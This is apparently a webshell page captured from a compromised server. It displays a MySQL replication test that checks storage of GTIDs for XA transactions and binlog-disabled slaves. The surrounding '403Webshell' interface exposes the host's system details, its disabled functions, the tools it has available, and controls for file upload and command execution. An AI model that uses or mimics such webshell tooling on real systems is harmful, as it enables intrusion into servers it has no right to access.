403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.170.122
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_gtids_table_disable_binlog_on_slave.test
#
# ==== Purpose ====
#
# WL#6559 Optimize GTIDs for passive slave - store GTIDs in table
#
# Verify that we can store gtids into gtid_executed table for XA transactions
# on binlog rotation when binlog is enabled, store gtid into gtid_executed
# table within each transaction and report GLOBAL.GTID_EXECUTED and
# GLOBAL.GTID_PURGED correctly when binlog is disabled.
#

--source include/not_group_replication_plugin.inc

# required by extra/rpl_tests/rpl_xa_gtid_next.inc
--source include/have_perfschema.inc

--source include/have_gtid.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc
--source include/master-slave.inc

--let $master_uuid= `SELECT @@GLOBAL.SERVER_UUID`

CREATE TABLE IF NOT EXISTS t1 (a INT) ENGINE=InnoDB;
CREATE TABLE t2 (a INT) ENGINE=MyISAM;

--echo #
--echo # Verify that XA transactions' gtids can be reported
--echo # from global.gtid_executed correctly.
--echo #
INSERT INTO t2 VALUES(1);
XA START '1';
--disable_warnings
INSERT INTO t2 VALUES(2);
INSERT INTO t1 VALUES(1);
INSERT INTO t1 VALUES(2);
--enable_warnings
XA END '1';
XA PREPARE '1';
XA COMMIT '1';
--let $gno_0 = 6
--let $gno_root = 1-$gno_0
--let $expected_gtid_root = $master_uuid:$gno_root
--let $expected_gtid = $expected_gtid_root
--let $assert_text= committed gtids MASTER_UUID:$gno_root
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "$expected_gtid"
--source include/assert.inc

--echo #
--echo # Verify that specified gtid for XA transaction can be reported
--echo # from global.gtid_executed correctly.
--echo #
--let $gno_1 = 16
--replace_result $master_uuid MASTER_UUID
--eval SET @@SESSION.GTID_NEXT= '$master_uuid:$gno_1'
XA START '1';
--disable_warnings
INSERT INTO t1 VALUES(3);
--enable_warnings
XA END '1';
XA PREPARE '1';
--let $gno_2 = $gno_1
--inc $gno_2
--replace_result $master_uuid MASTER_UUID
--eval SET @@SESSION.GTID_NEXT= '$master_uuid:$gno_2'
XA COMMIT '1';
--let $expected_gtid=$expected_gtid_root:$gno_1-$gno_2
--let $assert_text= committed gtids MASTER_UUID:$gno_root:$gno_1-$gno_2
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "$expected_gtid"
--source include/assert.inc

--echo #
--echo # Verify that we can store gtids MASTER_UUID:$gno_root:16 in gtid_executed
--echo # table for XA transactions on binlog rotation.
--echo #
--eval SET GTID_NEXT='AUTOMATIC'
FLUSH LOGS;
--replace_result $master_uuid MASTER_UUID
SELECT * FROM mysql.gtid_executed;


--source include/sync_slave_sql_with_master.inc
--echo #
--echo # connection slave
--echo #
call mtr.add_suppression("You need to use --log-bin to make --binlog-format work");
call mtr.add_suppression("Slave SQL for channel '': Error in Xid_log_event: Commit could not "
                         "be completed, 'Got error -1 from storage engine', "
                         "Error_code: 1030");
call mtr.add_suppression("Slave.*Got error -1 from storage engine.*Error_code: 1030");
call mtr.add_suppression("Slave: An error occured at storing the GTID value");
call mtr.add_suppression("The slave coordinator and worker threads are stopped");

--let $assert_text= committed gtids MASTER_UUID:$gno_root:$gno_1-$gno_2
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "$expected_gtid"
--source include/assert.inc
--echo #
--echo # Verify that the transaction is skiped if its specified gtid
--echo # is already in global.gtid_executed.
--echo #
--replace_result $master_uuid MASTER_UUID
--eval SET @@SESSION.GTID_NEXT= '$master_uuid:4'
INSERT INTO t1 VALUES(11);
--let $assert_text= Table t1 must not contain 11
--let $assert_cond= "[SELECT a FROM t1 WHERE a=11]" = ""
--source include/assert.inc

--echo #
--echo # Verify that the specified gtid to GTID_NEXT is stored into
--echo # global.gtid_executed and gtid_executed table.
--echo #
--inc $gno_2
--replace_result $master_uuid MASTER_UUID
--eval SET @@SESSION.GTID_NEXT= '$master_uuid:$gno_2'
COMMIT;
--let $expected_gtid=$expected_gtid_root:$gno_1-$gno_2
--let $assert_text= committed gtids MASTER_UUID:$gno_root:$gno_1-$gno_2
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "$expected_gtid"
--source include/assert.inc

--echo #
--echo # Verify that we store gtid into gtid_executed table within
--echo # each transaction when binlog is disabled.
--echo #
--replace_result $master_uuid MASTER_UUID
SELECT * FROM mysql.gtid_executed;

--echo #
--echo # Verify that the gtid_executed table is compressed.
--echo #
SET @debug_save= @@GLOBAL.DEBUG;
SET @@GLOBAL.DEBUG= '+d,compress_gtid_table';
--inc $gno_2
--replace_result $master_uuid MASTER_UUID
--eval SET @@SESSION.GTID_NEXT= '$master_uuid:$gno_2'
COMMIT;
SET DEBUG_SYNC='now WAIT_FOR complete_compression';
SET GLOBAL DEBUG= @debug_save;
--replace_result $master_uuid MASTER_UUID
SELECT * FROM mysql.gtid_executed;

--echo #
--echo # Verify that gtid_executed and gtid_purged are always same
--echo # when binlog is disabled.
--echo #
--let $assert_text= gtid_executed and gtid_purged are always same when binlog is disabled
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "[SELECT @@GLOBAL.GTID_PURGED]"
--source include/assert.inc

--eval SET GTID_NEXT='AUTOMATIC'
--echo #
--echo # Verify that no gtid is generated for transaction
--echo # when binlog is disabled
--echo #
CREATE TABLE t3 (a INT);
INSERT INTO t1 VALUES(12);
DROP TABLE t3;

--echo #
--echo # Stored gtids MASTER_UUID:$gno_root:$gno_1-$gno_2 in gtid_executed table
--echo # on slave.
--replace_result $master_uuid MASTER_UUID
--eval SELECT * FROM mysql.gtid_executed

#
# Check out XA COMMIT,ROLLBACK with Gtid_next having either automatic
# and manual value.
#
--let $gno_0 = `SELECT $gno_0 + 2`
--let $conclude_as = COMMIT
--let $gtid_phase1 =
--let $gtid_phase2 =
--source extra/rpl_tests/rpl_xa_gtid_next.inc

--let $gno_0 = `SELECT $gno_0 + 2`
--let $conclude_as = ROLLBACK
--let $gtid_phase1 =
--let $gtid_phase2 =
--source extra/rpl_tests/rpl_xa_gtid_next.inc

--let $gno_0 = `SELECT $gno_0 + 1`
--inc $gno_2
--let $conclude_as = ROLLBACK
--let $gtid_phase1 =
--let $gtid_phase2 = $master_uuid:$gno_2
--source extra/rpl_tests/rpl_xa_gtid_next.inc

--let $gno_0 = `SELECT $gno_0 + 1`
--inc $gno_2
--let $conclude_as = ROLLBACK
--let $gtid_phase1 = $master_uuid:$gno_2
--let $gtid_phase2 =
# Error to run set @@gtid_next prior to XA $conclude_as is simulated
--let $xa_error_simul = 1
--source extra/rpl_tests/rpl_xa_gtid_next.inc

# two more queries follow to affect $gno_root
--let $gno_0 = `SELECT $gno_0 + 2`
DROP TABLE t1, t2;
--source include/sync_slave_sql_with_master.inc

--connection master
CREATE TABLE t3 (a INT);
--source include/sync_slave_sql_with_master.inc

--echo #
--echo # Verify that transaction's gtid is not stored into gtid_executed table
--echo # and the transaction is rolled back if we encounter an error
--echo # when writing gtid into table when binlog is disabled and
--echo # gtid_mode is enabled.
--echo #
SET @@GLOBAL.DEBUG= '+d,simulate_err_on_write_gtid_into_table';
--connection master
INSERT INTO t3 VALUES(1);
--connection slave
--let $slave_sql_errno= convert_error(ER_GET_ERRNO)
--source include/wait_for_slave_sql_error.inc
SET GLOBAL DEBUG= @debug_save;
--source include/stop_slave_io.inc
# two queries contributed to the rhs
--let $gno_root = 1-$gno_0
--let $expected_gtid_root= $master_uuid:$gno_root
--let $expected_gtid = $expected_gtid_root:$gno_1-$gno_2
--echo #
--echo # Stored gtids MASTER_UUID:$gno_root:$gno_1-$gno_2 in gtid_executed table on slave.
--echo #
--replace_result $master_uuid MASTER_UUID
--eval SELECT * FROM mysql.gtid_executed
--let $assert_text= committed gtids MASTER_UUID:$gno_root:$gno_1-$gno_2
--let $assert_cond= "[SELECT @@GLOBAL.GTID_EXECUTED]" = "$expected_gtid"
--source include/assert.inc
--let $assert_text= Table t3 must not contain 1
--let $assert_cond= "[SELECT a FROM t3 WHERE a=1]" = ""
--source include/assert.inc

--connection master
DROP TABLE t3;
CALL mtr.add_suppression("Statement is unsafe because it is being used inside a XA transaction");
--connection slave
DROP TABLE t3;
CALL mtr.add_suppression("Statement is unsafe because it is being used inside a XA transaction");
# We are intentionally making Slave ahead of Master
# which is not allowed after fix for bug#18789758.
# Since we are at cleanup stage only, we can
# ignore the error here in this test script.
RESET SLAVE;
--let $rpl_only_running_threads= 1

--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit